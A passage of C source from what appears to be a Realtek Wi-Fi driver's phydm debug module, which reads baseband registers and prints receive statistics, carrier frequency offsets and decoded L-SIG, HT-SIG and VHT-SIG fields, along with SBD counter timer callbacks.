BW:%s\", BW_table[RX_VHT_BW]);\n\t\tRX_BW = RX_VHT_BW;\n\t\t}\n\telse if(RX_HT == 1){\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \" BW:%s\", BW_table[RX_HT_BW]);\n\t\tRX_BW = RX_HT_BW;\n\t\t}\n\telse\n\t\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\");\n\t\n\tDCMD_Printf(BbDbgBuf);\t\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \" RXSC:%s\", RXSC_table[RXSC]);\n\tDCMD_Printf(BbDbgBuf);\n\t*/\n\n\n/*\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"dB Conversion: 10log(65)\", ODM_PWdB_Conversion(65,10,0));*/\n/*\tDCMD_Printf(BbDbgBuf);*/\n\n\t/* RX signal power and AGC related info*/\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xF90 , bMaskDWord);\n\tpwDB = (u1Byte)((value32 & bMaskByte1) >> 8);\n\tpwDB = pwDB >> 1;\n\tsig_power = -110 + pwDB;\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"OFDM RX Signal Power(dB)\", sig_power);\n\tDCMD_Printf(BbDbgBuf);\n\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xd14 , bMaskDWord);\n\tRX_SNR_pathA = (u1Byte)(value32 & 0xFF) >> 1;\n\tRF_gain_pathA = (s1Byte)((value32 & bMaskByte1) >> 8);\n\tRF_gain_pathA *= 2;\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xd54 , bMaskDWord);\n\tRX_SNR_pathB = (u1Byte)(value32 & 0xFF) >> 1;\n\tRF_gain_pathB = (s1Byte)((value32 & bMaskByte1) >> 8);\n\tRF_gain_pathB *= 2;\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xd94 , bMaskDWord);\n\tRX_SNR_pathC = (u1Byte)(value32 & 0xFF) >> 1;\n\tRF_gain_pathC = (s1Byte)((value32 & bMaskByte1) >> 8);\n\tRF_gain_pathC *= 2;\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xdd4 , bMaskDWord);\n\tRX_SNR_pathD = (u1Byte)(value32 & 0xFF) >> 1;\n\tRF_gain_pathD = (s1Byte)((value32 & bMaskByte1) >> 8);\n\tRF_gain_pathD *= 2;\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d / %d / %d\", \"OFDM RX RF Gain(A/B/C/D)\", RF_gain_pathA, RF_gain_pathA, RF_gain_pathC, RF_gain_pathD);\n\tDCMD_Printf(BbDbgBuf);\n\n\n\t/* RX Counter related info*/\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xF08, bMaskDWord);\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"OFDM CCA Counter\", ((value32&0xFFFF0000)>>16));\n\tDCMD_Printf(BbDbgBuf);\n\t\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xFD0, bMaskDWord);\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"OFDM SBD Fail Counter\", value32&0xFFFF);\n\tDCMD_Printf(BbDbgBuf);\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xFC4, bMaskDWord);\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d\", \"VHT SIGA/SIGB CRC8 Fail Counter\", value32&0xFFFF, ((value32&0xFFFF0000)>>16));\n\tDCMD_Printf(BbDbgBuf);\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xFCC, bMaskDWord);\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"CCK CCA Counter\", value32&0xFFFF);\n\tDCMD_Printf(BbDbgBuf);\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xFBC, bMaskDWord);\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d\", \"LSIG (\\\"Parity Fail\\\"/\\\"Rate Illegal\\\") Counter\", value32&0xFFFF, ((value32&0xFFFF0000)>>16));\n\tDCMD_Printf(BbDbgBuf);\n\n\tvalue32_1 = ODM_GetBBReg(pDM_Odm, 0xFC8, bMaskDWord);\n\tvalue32_2 = ODM_GetBBReg(pDM_Odm, 0xFC0, bMaskDWord);\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d\", \"HT/VHT MCS NOT SUPPORT counter\", ((value32_2&0xFFFF0000)>>16), value32_1&0xFFFF);\n\tDCMD_Printf(BbDbgBuf);\n\n\n\t/* PostFFT related info*/\n\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xF8c , bMaskDWord);\n\tRXEVM_0 = (s1Byte)((value32 & bMaskByte2) >> 16);\n\tRXEVM_0 /= 2;\n\tif (RXEVM_0 < -63)\n\t\tRXEVM_0 = 0;\n\n\tDCMD_Printf(BbDbgBuf);\n\tRXEVM_1 = (s1Byte)((value32 & bMaskByte3) >> 24);\n\tRXEVM_1 /= 2;\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xF88 , bMaskDWord);\n\tRXEVM_2 = (s1Byte)((value32 & bMaskByte2) >> 16);\n\tRXEVM_2 /= 2;\n\n\tif (RXEVM_1 < -63)\n\t\tRXEVM_1 = 0;\n\tif (RXEVM_2 < -63)\n\t\tRXEVM_2 = 0;\n\n\t/*\n\tif(RX_BW == 0){\n\t\tRXEVM_0 -= evm_comp_20M;\n\t\tRXEVM_1 -= evm_comp_20M;\n\t\tRXEVM_2 -= evm_comp_20M;\n\t\t}\n\telse if(RX_BW == 1){\n\t\tRXEVM_0 -= evm_comp_40M;\n\t\tRXEVM_1 -= evm_comp_40M;\n\t\tRXEVM_2 -= evm_comp_40M;\n\t\t}\n\telse if (RX_BW == 2){\n\t\tRXEVM_0 -= evm_comp_80M;\n\t\tRXEVM_1 -= evm_comp_80M;\n\t\tRXEVM_2 -= evm_comp_80M;\n\t\t}\n\t\t*/\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d / %d\", \"RXEVM (1ss/2ss/3ss)\", RXEVM_0, RXEVM_1, RXEVM_2);\n\tDCMD_Printf(BbDbgBuf);\n\n/*\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xD14 ,bMaskDWord);*/\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d / %d / %d\", \"RXSNR(A/B/C/D, dB)\", RX_SNR_pathA, RX_SNR_pathB, RX_SNR_pathC, RX_SNR_pathD);\n\tDCMD_Printf(BbDbgBuf);\n/*\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d\", \"B_RXSNR\", (value32&0xFF00)>>9);*/\n/*\tDCMD_Printf(BbDbgBuf);*/\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xF8C , bMaskDWord);\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d\", \"CSI_1st /CSI_2nd\", value32&0xFFFF, ((value32&0xFFFF0000)>>16));\n\tDCMD_Printf(BbDbgBuf);\n\n\n\t//BW & Mode Detection\n\n\t//Reset Page F Counter\n\tODM_SetBBReg(pDM_Odm, 0xB58 , BIT0, 1);\n\tODM_SetBBReg(pDM_Odm, 0xB58 , BIT0, 0);\n\n\t//CFO Report Info\n\t//Short CFO\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xd0c , bMaskDWord);\n\tvalue32_1 = ODM_GetBBReg(pDM_Odm, 0xd4c , bMaskDWord);\n\tvalue32_2 = ODM_GetBBReg(pDM_Odm, 0xd8c , bMaskDWord);\n\tvalue32_3 = ODM_GetBBReg(pDM_Odm, 0xdcc , bMaskDWord);\n\n\tSFO_A = (s4Byte)(value32 & bMask12Bits);\n\tSFO_B = (s4Byte)(value32_1 & bMask12Bits);\n\tSFO_C = (s4Byte)(value32_2 & bMask12Bits);\n\tSFO_D = (s4Byte)(value32_3 & bMask12Bits);\n\n\tLFO_A = (s4Byte)(value32 >> 16);\n\tLFO_B = (s4Byte)(value32_1 >> 16);\n\tLFO_C = (s4Byte)(value32_2 >> 16);\n\tLFO_D = (s4Byte)(value32_3 >> 16);\n\n\t//SFO 2's to dec\n\tif (SFO_A > 2047)\n\t\tSFO_A = SFO_A - 4096;\n\tSFO_A = (SFO_A * 312500) / 2048;\n\n\tif (SFO_B > 2047)\n\t\tSFO_B = SFO_B - 4096;\n\tSFO_B = (SFO_B * 312500) / 2048;\n\tif (SFO_C > 2047)\n\t\tSFO_C = SFO_C - 4096;\n\tSFO_C = (SFO_C * 312500) / 2048;\n\tif (SFO_D > 2047)\n\t\tSFO_D = SFO_D - 4096;\n\tSFO_D = (SFO_D * 312500) / 2048;\n\n\t//LFO 2's to dec\n\n\tif (LFO_A > 4095)\n\t\tLFO_A = LFO_A - 8192;\n\n\tif (LFO_B > 4095)\n\t\tLFO_B = LFO_B - 8192;\n\n\tif (LFO_C > 4095)\n\t\tLFO_C = LFO_C - 8192;\n\n\tif (LFO_D > 4095)\n\t\tLFO_D = LFO_D - 8192;\n\tLFO_A = LFO_A * 312500 / 4096;\n\tLFO_B = LFO_B * 312500 / 4096;\n\tLFO_C = LFO_C * 312500 / 4096;\n\tLFO_D = LFO_D * 312500 / 4096;\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s\", \"CFO Report Info\");\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d/ %d/ %d\", \" Short CFO(Hz) <A/B/C/D>\", SFO_A, SFO_B, SFO_C, SFO_D);\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d/ %d/ %d\", \" Long CFO(Hz) <A/B/C/D>\", LFO_A, LFO_B, LFO_C, LFO_D);\n\tDCMD_Printf(BbDbgBuf);\n\n\t//SCFO\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xd10 , bMaskDWord);\n\tvalue32_1 = ODM_GetBBReg(pDM_Odm, 0xd50 , bMaskDWord);\n\tvalue32_2 = ODM_GetBBReg(pDM_Odm, 0xd90 , bMaskDWord);\n\tvalue32_3 = ODM_GetBBReg(pDM_Odm, 0xdd0 , bMaskDWord);\n\n\tSFO_A = (s4Byte)(value32 & 0x7ff);\n\tSFO_B = (s4Byte)(value32_1 & 0x7ff);\n\tSFO_C = (s4Byte)(value32_2 & 0x7ff);\n\tSFO_D = (s4Byte)(value32_3 & 0x7ff);\n\n\tif (SFO_A > 1023)\n\t\tSFO_A = SFO_A - 2048;\n\n\tif (SFO_B > 2047)\n\t\tSFO_B = SFO_B - 4096;\n\n\tif (SFO_C > 2047)\n\t\tSFO_C = SFO_C - 4096;\n\n\tif (SFO_D > 2047)\n\t\tSFO_D = SFO_D - 4096;\n\n\tSFO_A = SFO_A * 312500 / 1024;\n\tSFO_B = SFO_B * 312500 / 1024;\n\tSFO_C = SFO_C * 312500 / 1024;\n\tSFO_D = SFO_D * 312500 / 1024;\n\n\tLFO_A = (s4Byte)(value32 >> 16);\n\tLFO_B = (s4Byte)(value32_1 >> 16);\n\tLFO_C = (s4Byte)(value32_2 >> 16);\n\tLFO_D = (s4Byte)(value32_3 >> 16);\n\n\tif (LFO_A > 4095)\n\t\tLFO_A = LFO_A - 8192;\n\n\tif (LFO_B > 4095)\n\t\tLFO_B = LFO_B - 8192;\n\n\tif (LFO_C > 4095)\n\t\tLFO_C = LFO_C - 8192;\n\n\tif (LFO_D > 4095)\n\t\tLFO_D = LFO_D - 8192;\n\tLFO_A = LFO_A * 312500 / 4096;\n\tLFO_B = LFO_B * 312500 / 4096;\n\tLFO_C = LFO_C * 312500 / 4096;\n\tLFO_D = LFO_D * 312500 / 4096;\n\t\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d/ %d/ %d\", \" Value SCFO(Hz) <A/B/C/D>\", SFO_A, SFO_B, SFO_C, SFO_D);\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d/ %d/ %d\", \" ACQ CFO(Hz) <A/B/C/D>\", LFO_A, LFO_B, LFO_C, LFO_D);\n\tDCMD_Printf(BbDbgBuf);\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xd14 , bMaskDWord);\n\tvalue32_1 = ODM_GetBBReg(pDM_Odm, 0xd54 , bMaskDWord);\n\tvalue32_2 = ODM_GetBBReg(pDM_Odm, 0xd94 , bMaskDWord);\n\tvalue32_3 = ODM_GetBBReg(pDM_Odm, 0xdd4 , bMaskDWord);\n\n\tLFO_A = (s4Byte)(value32 >> 16);\n\tLFO_B = (s4Byte)(value32_1 >> 16);\n\tLFO_C = (s4Byte)(value32_2 >> 16);\n\tLFO_D = (s4Byte)(value32_3 >> 16);\n\n\tif (LFO_A > 4095)\n\t\tLFO_A = LFO_A - 8192;\n\n\tif (LFO_B > 4095)\n\t\tLFO_B = LFO_B - 8192;\n\n\tif (LFO_C > 4095)\n\t\tLFO_C = LFO_C - 8192;\n\n\tif (LFO_D > 4095)\n\t\tLFO_D = LFO_D - 8192;\n\n\tLFO_A = LFO_A * 312500 / 4096;\n\tLFO_B = LFO_B * 312500 / 4096;\n\tLFO_C = LFO_C * 312500 / 4096;\n\tLFO_D = LFO_D * 312500 / 4096;\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %d / %d/ %d/ %d\", \" End CFO(Hz) <A/B/C/D>\", LFO_A, LFO_B, LFO_C, LFO_D);\n\tDCMD_Printf(BbDbgBuf);\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xf20 , bMaskDWord); /*L SIG*/\n\n\tTail = (u1Byte)((value32 & 0xfc0000) >> 16);\n\tParity = (u1Byte)((value32 & 0x20000) >> 16);\n\tLength = (u2Byte)((value32 & 0x1ffe00) >> 8);\n\trsv = (u1Byte)(value32 & 0x10);\n\tMCSS = (u1Byte)(value32 & 0x0f);\n\n\tswitch (MCSS) {\n\tcase 0x0b:\n\t\tidx = 0;\n\t\tbreak;\n\tcase 0x0f:\n\t\tidx = 1;\n\t\tbreak;\n\tcase 0x0a:\n\t\tidx = 2;\n\t\tbreak;\n\tcase 0x0e:\n\t\tidx = 3;\n\t\tbreak;\n\tcase 0x09:\n\t\tidx = 4;\n\t\tbreak;\n\tcase 0x08:\n\t\tidx = 5;\n\t\tbreak;\n\tcase 0x0c:\n\t\tidx = 6;\n\t\tbreak;\n\tdefault:\n\t\tidx = 6;\n\t\tbreak;\n\n\t}\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s\", \"L-SIG\");\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n Rate:%s\", L_rate[idx]);\t\t\n\tDCMD_Printf(BbDbgBuf);\t\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %x/ %x /%x\", \" Rsv/Length/Parity\", rsv, RX_BW, Length);\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s\", \"HT-SIG1\");\n\tDCMD_Printf(BbDbgBuf);\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xf2c , bMaskDWord); /*HT SIG*/\n\tif (RX_HT == 1) {\n\n\t\tHMCSS = (u1Byte)(value32 & 0x7F);\n\t\tHRX_BW = (u1Byte)(value32 & 0x80);\n\t\tHLength = (u2Byte)((value32 >> 8) & 0xffff);\n\t}\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %x / %x/ %x\", \" MCS/BW/Length\", HMCSS, HRX_BW, HLength);\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s\", \"HT-SIG2\");\n\tDCMD_Printf(BbDbgBuf);\n\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xf30 , bMaskDWord); /*HT SIG*/\n\n\tif (RX_HT == 1) {\n\t\tsmooth = (u1Byte)(value32 & 0x01);\n\t\thtsound = (u1Byte)(value32 & 0x02);\n\t\trsv = (u1Byte)(value32 & 0x04);\n\t\tagg = (u1Byte)(value32 & 0x08);\n\t\tstbc = (u1Byte)(value32 & 0x30);\n\t\tfec = (u1Byte)(value32 & 0x40);\n\t\tsgi = (u1Byte)(value32 & 0x80);\n\t\thtltf = (u1Byte)((value32 & 0x300) >> 8);\n\t\thtcrc8 = (u2Byte)((value32 & 0x3fc00) >> 8);\n\t\tTail = (u1Byte)((value32 & 0xfc0000) >> 16);\n\n\n\t}\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %x / %x/ %x/ %x/ %x/ %x\", \" Smooth/NoSound/Rsv/Aggregate/STBC/LDPC\", smooth, htsound, rsv, agg, stbc, fec);\n\tDCMD_Printf(BbDbgBuf);\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %x / %x/ %x/ %x\", \" SGI/E-HT-LTFs/CRC/Tail\", sgi, htltf, htcrc8, Tail);\n\tDCMD_Printf(BbDbgBuf);\n\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s\", \"VHT-SIG-A1\");\n\tDCMD_Printf(BbDbgBuf);\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xf2c , bMaskDWord); /*VHT SIG A1*/\n\tif (RX_HT == 2) {\n\t\t/* value32 = ODM_GetBBReg(pDM_Odm, 0xf2c ,bMaskDWord);*/\n\t\tvRX_BW = (u1Byte)(value32 & 0x03);\n\t\tvrsv = (u1Byte)(value32 & 0x04);\n\t\tvstbc = (u1Byte)(value32 & 0x08);\n\t\tvgid = (u1Byte)((value32 & 0x3f0) >> 4);\n\t\tvNsts = (u1Byte)(((value32 & 0x1c00) >> 8) + 1);\n\t\tvpaid = (u2Byte)(value32 & 0x3fe);\n\t\tvtxops = (u1Byte)((value32 & 0x400000) >> 20);\n\t\tvrsv2 = (u1Byte)((value32 & 0x800000) >> 20);\n\t}\n\n\t/*rsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %x\", \"F2C\", value32);*/\n\t/*DCMD_Printf(BbDbgBuf);*/\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %x / %x/ %x/ %x/ %x/ %x /%x /%x\", \" BW/Rsv1/STBC/GID/Nsts/PAID/TXOPPS/Rsv2\", vRX_BW, vrsv, vstbc, vgid, vNsts, vpaid, vtxops, vrsv2);\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s\", \"VHT-SIG-A2\");\n\tDCMD_Printf(BbDbgBuf);\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xf30 , bMaskDWord); /*VHT SIG*/\n\n\n\tif (RX_HT == 2) {\n\t\t/*value32 = ODM_GetBBReg(pDM_Odm, 0xf30 ,bMaskDWord); */ /*VHT SIG*/\n\n\t\t//sgi=(u1Byte)(value32&0x01);\n\t\tsgiext = (u1Byte)(value32 & 0x03);\n\t\t//fec = (u1Byte)(value32&0x04);\n\t\tfecext = (u1Byte)(value32 & 0x0C);\n\n\t\tvMCSS = (u1Byte)(value32 & 0xf0);\n\t\tbf = (u1Byte)((value32 & 0x100) >> 8);\n\t\tvrsv = (u1Byte)((value32 & 0x200) >> 8);\n\t\tvhtcrc8 = (u2Byte)((value32 & 0x3fc00) >> 8);\n\t\tvTail = (u1Byte)((value32 & 0xfc0000) >> 16);\n\t}\n\t/*rsprintf(BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %x\", \"F30\", value32);*/\n\t/*DCMD_Printf(BbDbgBuf);*/\n\t\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %x / %x/ %x/ %x/ %x/ %x/ %x\", \" SGI/FEC/MCS/BF/Rsv/CRC/Tail\", sgiext, fecext, vMCSS, bf, vrsv, vhtcrc8, vTail);\n\tDCMD_Printf(BbDbgBuf);\n\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s\", \"VHT-SIG-B\");\n\tDCMD_Printf(BbDbgBuf);\n\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xf34 , bMaskDWord); /*VHT SIG*/\n\t{\n\t\tvLength = (u2Byte)(value32 & 0x1fffff);\n\t\tvbrsv = (u1Byte)((value32 & 0x600000) >> 20);\n\t\tvbTail = (u2Byte)((value32 & 0x1f800000) >> 20);\n\t\tvbcrc = (u1Byte)((value32 & 0x80000000) >> 28);\n\n\t}\n\t/*rsprintf(BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %x\", \"F34\", value32);*/\n\t/*DCMD_Printf(BbDbgBuf);*/\n\trsprintf((char *)BbDbgBuf, BT_TMP_BUF_SIZE, \"\\r\\n %-35s = %x / %x/ %x/ %x/\", \" Length/Rsv/Tail/CRC\", vLength, vbrsv, vbTail, vbcrc);\n\tDCMD_Printf(BbDbgBuf);\n\n\n}\n\nvoid phydm_sbd_check(\n\tIN\tPDM_ODM_T\t\t\t\t\tpDM_Odm\n)\n{\n\tstatic u4Byte\tpkt_cnt = 0;\n\tstatic BOOLEAN sbd_state = 0;\n\tu4Byte\tsym_count, count, value32;\n\n\tif (sbd_state == 0) {\n\t\tpkt_cnt++;\n\t\tif (pkt_cnt % 5 == 0) { /*read SBD conter once every 5 packets*/\n\t\t\tODM_SetTimer(pDM_Odm, &pDM_Odm->sbdcnt_timer, 0); /*ms*/\n\t\t\tsbd_state = 1;\n\t\t}\n\t} else { /*read counter*/\n\t\tvalue32 = ODM_GetBBReg(pDM_Odm, 0xF98, bMaskDWord);\n\t\tsym_count = (value32 & 0x7C000000) >> 26;\n\t\tcount = (value32 & 0x3F00000) >> 20;\n\t\tDbgPrint(\"#SBD# sym_count %d count %d\\n\", sym_count, count);\n\t\tsbd_state = 0;\n\t}\n}\n\nvoid phydm_sbd_callback(\n\tPRT_TIMER\t\tpTimer\n)\n{\n\tPADAPTER\t\tAdapter = (PADAPTER)pTimer->Adapter;\n\tHAL_DATA_TYPE\t*pHalData = GET_HAL_DATA(Adapter);\n\tPDM_ODM_T\t\tpDM_Odm = &pHalData->DM_OutSrc;\n\n#if USE_WORKITEM\n\tODM_ScheduleWorkItem(&pDM_Odm->sbdcnt_workitem);\n#else\n\tphydm_sbd_check(pDM_Odm);\n#endif\n}\n\nvoid phydm_sbd_workitem_callback(\n\tIN PVOID pContext\n)\n{\n\tPADAPTER\tpAdapter = (PADAPTER)pContext;\n\tHAL_DATA_TYPE\t*pHalData = GET_HAL_DATA(pAdapter);\n\tPDM_ODM_T\t\tpDM_Odm = &pHalData->DM_OutSrc;\n\n\tphydm_sbd_check(pDM_Odm);\n}\n#endif\nVOID\nphydm_BasicDbgMessage\n(\n\tIN\t\tPVOID\t\t\tpDM_VOID\n)\n{\n#if( DM_ODM_SUPPORT_TYPE & (ODM_WIN|ODM_CE))\n\tPDM_ODM_T\t\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\tPFALSE_ALARM_STATISTICS FalseAlmCnt = (PFALSE_ALARM_STATISTICS)PhyDM_Get_Structure(pDM_Odm , PHYDM_FALSEALMCNT);\n\tpDIG_T\tpDM_DigTable = &pDM_Odm->DM_DigTable;\n\tu1Byte\tlegacy_table[12] = {1, 2, 5, 11, 6, 9, 12, 18, 24, 36, 48, 54};\n\tu1Byte\tvht_en = ((pDM_Odm->RxRate) >= ODM_RATEVHTSS1MCS0) ? 1 : 0;\n\n\tif (pDM_Odm->RxRate <= ODM_RATE11M) {\n\t\tODM_RT_TRACE(pDM_Odm, ODM_COMP_COMMON, ODM_DBG_LOUD, (\"[CCK AGC Report] LNA_idx = 0x%x, VGA_idx = 0x%x\\n\",\n\t\t\tpDM_Odm->cck_lna_idx, pDM_Odm->cck_vga_idx));\t\t\n\t} else {\n\t\tODM_RT_TRACE(pDM_Odm, ODM_COMP_COMMON, ODM_DBG_LOUD, (\"[OFDM AGC Report] { 0x%x, 0x%x, 0x%x, 0x%x }\\n\",\n\t\t\tpDM_Odm->ofdm_agc_idx[0], pDM_Odm->ofdm_agc_idx[1], pDM_Odm->ofdm_agc_idx[2], pDM_Odm->ofdm_agc_idx[3]));\t\n\t}\n\n\tODM_RT_TRACE(pDM_Odm, ODM_COMP_COMMON, ODM_DBG_LOUD, (\"RSSI: { %d, %d, %d, %d }, RxRate: { %s%s%s%s%d%s}\\n\",\n\t\t(pDM_Odm->RSSI_A == 0xff) ? 0 : pDM_Odm->RSSI_A , \n\t\t(pDM_Odm->RSSI_B == 0xff) ? 0 : pDM_Odm->RSSI_B , \n\t\t(pDM_Odm->RSSI_C == 0xff) ? 0 : pDM_Odm->RSSI_C, \n\t\t(pDM_Odm->RSSI_D == 0xff) ? 0 : pDM_Odm->RSSI_D,\n\t\t((pDM_Odm->RxRate >= ODM_RATEVHTSS1MCS0) && (pDM_Odm->RxRate <= ODM_RATEVHTSS1MCS9)) ? \"VHT 1ss \" : \"\",\n\t\t((pDM_Odm->RxRate >= ODM_RATEVHTSS2MCS0) && (pDM_Odm->RxRate <= ODM_RATEVHTSS2MCS9)) ? \"VHT 2ss \" : \"\",\n\t\t((pDM_Odm->RxRate >= ODM_RATEVHTSS3MCS0) && (pDM_Odm->RxRate <= ODM_RATEVHTSS3MCS9)) ? \"VHT 3ss \" : \"\",\n\t\t(pDM_Odm->RxRate >= ODM_RATEMCS0) ? \"MCS \" : \"\",\n\t\t(vht_en) ? ((pDM_Odm->RxRate - ODM_RATEVHTSS1MCS0)%10) : ((pDM_Odm->RxRate >= ODM_RATEMCS0) ? (pDM_Odm->RxRate - ODM_RATEMCS0) : ((pDM_Odm->RxRate <= ODM_RATE54M)?legacy_table[pDM_Odm->RxRate]:0)),\n\t\t(pDM_Odm->RxRate >= ODM_RATEMCS0) ? \"\" : \"M\"));\n\n\tODM_RT_TRACE(pDM_Odm, ODM_COMP_COMMON, ODM_DBG_LOUD, (\"[CCA Cnt] {CCK, OFDM, Total} = {%d, %d, %d}\\n\",\t\n\t\tFalseAlmCnt->Cnt_CCK_CCA, FalseAlmCnt->Cnt_OFDM_CCA, FalseAlmCnt->Cnt_CCA_all));\n\n\tODM_RT_TRACE(pDM_Odm, ODM_COMP_COMMON, ODM_DBG_LOUD, (\"[FA Cnt] {CCK, OFDM, Total} = {%d, %d, %d}\\n\",\t\n\t\tFalseAlmCnt->Cnt_Cck_fail, FalseAlmCnt->Cnt_Ofdm_fail, FalseAlmCnt->Cnt_all));\n\t\n\tODM_RT_TRACE(pDM_Odm, ODM_COMP_COMMON, ODM_DBG_LOUD, (\"[OFDM FA Detail] Parity_Fail = (( %d )), Rate_Illegal = (( %d )), CRC8_fail = (( %d )), Mcs_fail = (( %d )), Fast_Fsync = (( %d )), SB_Search_fail = (( %d ))\\n\",\t\n\t\tFalseAlmCnt->Cnt_Parity_Fail, FalseAlmCnt->Cnt_Rate_Illegal, FalseAlmCnt->Cnt_Crc8_fail, FalseAlmCnt->Cnt_Mcs_fail, FalseAlmCnt->Cnt_Fast_Fsync, FalseAlmCnt->Cnt_SB_Search_fail));\n\t\n\tODM_RT_TRACE(pDM_Odm, ODM_COMP_COMMON, ODM_DBG_LOUD, (\"bLinked = %d, RSSI_Min = %d, CurrentIGI = 0x%x, bNoisy=%d\\n\\n\",\n\t\tpDM_Odm->bLinked, pDM_Odm->RSSI_Min, pDM_DigTable->CurIGValue, pDM_Odm->NoisyDecision)); \n/*\n\ttemp_reg = ODM_GetBBReg(pDM_Odm, 0xDD0, bMaskByte0);\n\tODM_RT_TRACE(pDM_Odm,ODM_COMP_COMMON, ODM_DBG_LOUD, (\"0xDD0 = 0x%x\\n\",temp_reg));\n\t\t\n\ttemp_reg = ODM_GetBBReg(pDM_Odm, 0xDDc, bMaskByte1);\n\tODM_RT_TRACE(pDM_Odm,ODM_COMP_COMMON, ODM_DBG_LOUD, (\"0xDDD = 0x%x\\n\",temp_reg));\n\t\n\ttemp_reg = ODM_GetBBReg(pDM_Odm, 0xc50, bMaskByte0);\n\tODM_RT_TRACE(pDM_Odm,ODM_COMP_COMMON, ODM_DBG_LOUD, (\"0xC50 = 0x%x\\n\",temp_reg));\n\n\ttemp_reg = ODM_GetRFReg(pDM_Odm, ODM_RF_PATH_A, 0x0, 0x3fe0);\n\tODM_RT_TRACE(pDM_Odm,ODM_COMP_COMMON, ODM_DBG_LOUD, (\"RF 0x0[13:5] = 0x%x\\n\\n\",temp_reg));\n*/\t\n\n#endif\n}\n\n\nVOID 